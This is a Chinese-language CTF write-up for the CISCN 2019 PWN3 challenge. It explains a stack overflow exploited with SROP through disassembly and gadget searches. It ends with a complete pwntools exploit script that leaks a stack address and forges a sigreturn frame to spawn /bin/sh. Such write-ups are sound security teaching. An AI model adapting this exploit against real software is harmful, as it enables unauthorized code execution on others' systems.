[CISCN 2019华南]PWN3
这是一道SROP类型题目,刚开始不知道怎么下手,看了这位师傅@xshhc的wp之后感到很震惊,仔细研究一下发现其实原理很简单,只要看一下题目的汇编代码就很好懂。发觉自己应该多看一眼汇编才可能对漏洞利用的原理多一分理解,思来想去决定特此额外记录一份。
问题描述
首先看一下IDA反汇编和第一次栈溢出的payload
signed __int64 vuln()
{
signed __int64 v0; // rax
char buf[16]; // [rsp+0h] [rbp-10h] BYREF
v0 = sys_read(0, buf, 0x400uLL);
return sys_write(1u, buf, 0x30uLL);
}
payload = b'/bin/sh\x00'.ljust(0x10,b'a') + p64(vuln_addr)
在第一次溢出的时候利用 write 泄露了栈地址并且挟持程序流重新执行了一次 vuln() 函数。刚一看感到非常震惊,为啥他能跳过bp地址直接覆盖sp地址还能回过头来泄露bp啊?
原理分析
别急,让我们看一下write处的汇编
.text:0000000000400517 syscall ; LINUX - sys_write
.text:0000000000400519 retn
.text:0000000000400519 vuln endp ; sp-analysis failed
.text:0000000000400519
.text:0000000000400519 ; ---------------------------------------------------------------------------
.text:000000000040051A db 90h
.text:000000000040051B ; ---------------------------------------------------------------------------
.text:000000000040051B pop rbp
.text:000000000040051C retn
.text:000000000040051C ; } // starts at 4004ED
可以看到,在 517 处 syscall write 函数之后 519 处紧跟着一个 retn 。在这一行有个报错信息,说 sp 指针分析失败。通过调试得当程序执行到 retn 后才会跳转去执行 write 函数。
而此处的报错信息是由于使用 retn 实现函数跳转导致IDA无法正确识别 vuln 函数结束位置导致的。逆向可能会要求修正sp偏移,咱们此处不做讨论
我们只需要关注syscall之后立刻有一个retn,而我们可以直接利用此处挟持程序流。那么buf到此处的长度是多少呢?答案是0x10。由于没有pop rbp
,所以不必额外填充一字长的 padding. 并且真正的rbp还在之后,通过调试知道栈底到buf的长度是0x20。
综上,由于题目中使用了 retn 进行函数调用才使一次溢出在泄露栈地址的同时挟持程序流成为可能。
ps: 萌新一枚,如有不妥之处还请斧正,感谢
诸君共勉
个人题解
最后贴一下我的wp:
$ checksec pwn3
[!] Could not populate PLT: module 'unicorn' has no attribute 'UC_ARCH_RISCV'
[*] '/home/xunan/桌面/Pwn/pwn3'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
signed __int64 vuln()
{
signed __int64 v0; // rax
char buf[16]; // [rsp+0h] [rbp-10h] BYREF
v0 = sys_read(0, buf, 0x400uLL);
return sys_write(1u, buf, 0x30uLL);
}
仅开启栈不可执行保护,一次read,一次write,可泄露栈地址
又发现gadgets: .text:00000000004004DA mov rax, 0Fh
64位系统,很显然是SROP。
由于第一次写SROP稍微介绍下原理,SROP就是利用系统中断到恢复时会在用户空间中保存和恢复上下文,并且由于内核和信号处理程序是相互分离的,为进程恢复时不会检查该 Signal Frame 是否属于该进程,也就是说可以伪造。
利用时需要控制 rax 寄存器,并且执行 syscall ,同时还要有足够大小的已知位置可以用来存放伪造的 sigcontext 。
上文中我们已知可控制 rax 寄存器的 gadgets ,并且有函数可以泄露栈地址,所以我们还需要再用 ROPgadget 搜索 syscall 和 ret 。ret 是为了保证栈对齐的(可能用不到,但要有)。
$ ROPgadget --binary pwn3 --only "syscall|ret"
Gadgets information
============================================================
0x00000000004003a9 : ret
0x0000000000400501 : syscall
Unique gadgets found: 2
值得一提的是,pwntools中集成了SROP,最后看一下exp:
from pwn import *
from LibcSearcher import LibcSearcher
# context(os='linux',arch='i386',log_level='debug')
context(os='linux',arch='amd64',log_level='debug')
sh = process('./pwn3')
def debug(p):
gdb.attach(p,"b *0x400503")
def end(p):
p.interactive()
vuln_addr = 0x4004F1
syscall_ret = 0x400517
rax_0xf_ret = 0x4004da
ret_addr = 0x4003a9
# get binsh_addr
payload = b'/bin/sh\x00'.ljust(0x10,b'a') + p64(vuln_addr)
sh.sendline(payload)
stack_addr = u64(sh.recvuntil(b"\x7f")[-6:].ljust(8,b'\x00'))
log.info("binsh_addr-->0x%x" %stack_addr)
sigframe = SigreturnFrame()
sigframe.rax = 59
sigframe.rdi = stack_addr - 0x128
sigframe.rsi = 0
sigframe.rdx = 0
sigframe.rip = syscall_ret
payload = b'a'*0x10 + p64(rax_0xf_ret) + p64(syscall_ret) + flat(sigframe)
sh.sendline(payload)
sh.interactive()
本题中padding仅覆盖到了栈结束的位置,没有如往常一样覆盖 bp 寄存器。这里讲解一下,这是由于调用write函数的方式不同造成的,看下列汇编代码
.text:0000000000400517 syscall ; LINUX - sys_write
.text:0000000000400519 retn
.text:0000000000400519 vuln endp ; sp-analysis failed
.text:0000000000400519
.text:0000000000400519 ; ---------------------------------------------------------------------------
.text:000000000040051A db 90h
.text:000000000040051B ; ---------------------------------------------------------------------------
.text:000000000040051B pop rbp
.text:000000000040051C retn
.text:000000000040051C ; } // starts at 4004ED
可以看到,0x400519处显示 sp指针定位错误,这是由于IDA在反汇编时将retn当做函数返回导致的,实际的函数返回在0x40051c处。第一处的retn其实是通过retn进行函数调用,我们的溢出点就在这里,所以我们才可以在挟持程序流的同时泄露栈位置。
另外就是伪造的 sigcontext 的rdi指针,那个 栈地址到binsh字符串的偏移是要自己算的。
大体上就是这些了,本来还想着就 retn 处直接挟持程序流写一篇博客来着,现在看来可能也不是那么需要。(千万不要迷醉于流量陷阱!)